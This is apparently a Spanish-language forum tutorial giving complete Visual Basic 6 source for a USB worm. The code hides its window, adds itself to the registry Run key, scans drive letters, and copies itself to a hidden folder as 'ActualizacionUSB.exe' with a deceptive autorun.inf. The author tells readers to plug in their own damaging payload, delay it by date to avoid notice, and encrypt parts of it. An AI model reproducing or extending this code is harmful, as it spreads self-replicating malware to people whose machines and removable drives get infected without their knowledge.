Saludos, bueno para aportarun poco mas al Sub-Foro de VB aqui voy a postear una tecnica es de el Daggoth , o lo que sea por USB! espero que les guste!
¡¡Comenzemos!!
1- Pequeña Introduccion:Bueno antes que nada, para hacer que un archivo se auto ejecute con el pendrive necesitamos crear un autorun.inf que este ira en el Root del USB o donde se guardan los archivos!
tambien deberia ir nuestro programa que se quiere ejecutar, (Para ver algo de como funciona mas explicadito pasarse por Batch y buscar un post que dice ejecutar archivos por USB o algo asi
)
2- Mecanismo de Trabajo: El virus lo que hara es comprobar con un timer si hay algun USB si lo hay, compruba o mira a ver si ya nos hemos copiado si no nos copiamos se copia a este!
3- Programando el "Virus"La programacion de este Virus o como lo llamen es muy facil nada mas necesitamos agregar un timer con esto:
Enabled = False
Interval = 0ahora en las prop. del form las estableceremos asi:
ShowInTaskbar = false
Visible = falsepara que ni salga en el Task y sea invisible nuestro form!
Comenzamos a codear!
Buen antes que nada hay que declarar ciertas variables:
Option Explicit
Dim ñ, j, x
Public var
Public fass
Public midir As String, dir As String
no hay nada que explicar solo variables!
Private Sub Form_Initialize()
Timer1.Interval = 2000
Timer1.Enabled = True
Set var = CreateObject("scripting.filesystemobject")
Set fass = CreateObject("wscript.shell")
midir = fass.BuildPath(App.Path, App.EXEName & ".exe")
End Sub
bueno esto lo que hara sera iniciar el timer con 2 seg. declaramos las variables o creamos el objeto (Con lo que nos agregamos al reg, y nos copiamos) y al final la ruta!...
Private Sub Form_Load()
fass.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\micros" ,midir
Call hallar
End Sub
pues esta parte a mi punto de vista no tiene explicacion, se puede entender facilemnte!
solo digo que nos vamos a guardar en el registro con el nombre de Micros!
Sub hallar()
For x = 66 To 90
ñ = Chr(x)
j = ñ & ":\"
If var.DriveExists(j) Then
Call creavirus(j)
Call propaga(j)
End If
Next x
End Sub
pues aqui explicare que lo que hace le sub hallar es buscar del 66 a 90 Skull pero porque del 66 al 90 pues simple porque estos si se le pasa la funcion Chr nos dara una letra de entre el b y z y lo mejor que estos estan en mayusculas!
luego se le pasa el valor a x que esta transforma el numero en letra luego a la f que pone la letra y el caracter :\ osea quedaria asi letra:\ (Ejemplo F:\
) luego comprobamos si driveexiste(f) osea comrpbamos si por ejemplo el Drive Exist B:\ si existe llama a las funciones crevirus y propaga sino sigue la cuenta!
Sub creavirus(j)
On Error Resume Next
If var.FolderExists(j & "Configuracion") Then
Exit Sub
Else
dir = (j & "Configuracion")
var.CreateFolder (dir)
SetAttr dir, vbHidden
End If
End Sub
pues esta es simple primero comprobamos si ya excistimos, si excistimos le damos un gran end sub si no nos creamos con el nombre Configuracion (Ustedes se lo pueden cambiar
) luego nos crea la carpeta etc...
Sub propaga(j)
On Error Resume Next
If var.FileExists(j & "Configuracion\ActualizacionUSB.exe") Then
Else
FileCopy midir, j & "Configuracion\ActualizacionUSB.exe"
End If
If var.FileExists(j & "autorun.inf") Then
Else
Open f & "autorun.inf" For Append As #1
Print #1, "[autorun]"
Print #1, "open=.\Configuracion\ActualizacionUSB.exe"
Print #1, "shell\1=Abrir"
Print #1, "shell\1\Command=.\Configuracion\ActualizacionUSB.exe"
Print #1, "shell\2\=Reparar Danos"
Print #1, "shell\2\Command=.\Configuracion\ActualizacionUSB.exe"
Print #1, "shellexecute=.\Configuracion\ActualizacionUSB.exe"
Close #1
End If
SetAttr j & "Configuracion\ActualizacionUSB.exe", vbSystem
SetAttr j & "autorun.inf", vbHidden
End Sub
Bueno aqui lo que hacemos es comprobar si nuestro .exe exciste si exciste nada si no nos copiamos luego comprobamos si exciste el autorun.inf si no excistimos nos creamos!
Private Sub Timer1_Timer()
Call hallar
Call daño ' aqui es donde va lo que queramos que haga el virus
End Sub
pues llegamos a la funcion del timer! que llama a hallar y daño!
Private sub daño()
do
msgbox ("Juaked By-Skull")
Loop
End Sub
pues miren en daño NO pongan lo que puse yo!xD esto lo hise con propositos instructivos y quite lo que yo le puse al mio (Mi virus) en daño pueden poner lo que quieran!
recomiendo poner para un dia de fecha o algo asi, apra que no cante tanto!
Bueno en este enseño como aprendi a crear este tipo de virus!
si tiene algun error el programa diganme para acomodarlo!xD recomiendo encriptar algunas cosas!
Bueno espero haber enseñado bien como me enseñaron a mi!xD
si tiene error disculpen y diganme para acomodarlo!
Salu2's!
Post Original:
Para ver los enlaces debes ser usuario
Crear Usuario o
Hacer Sesion
Autor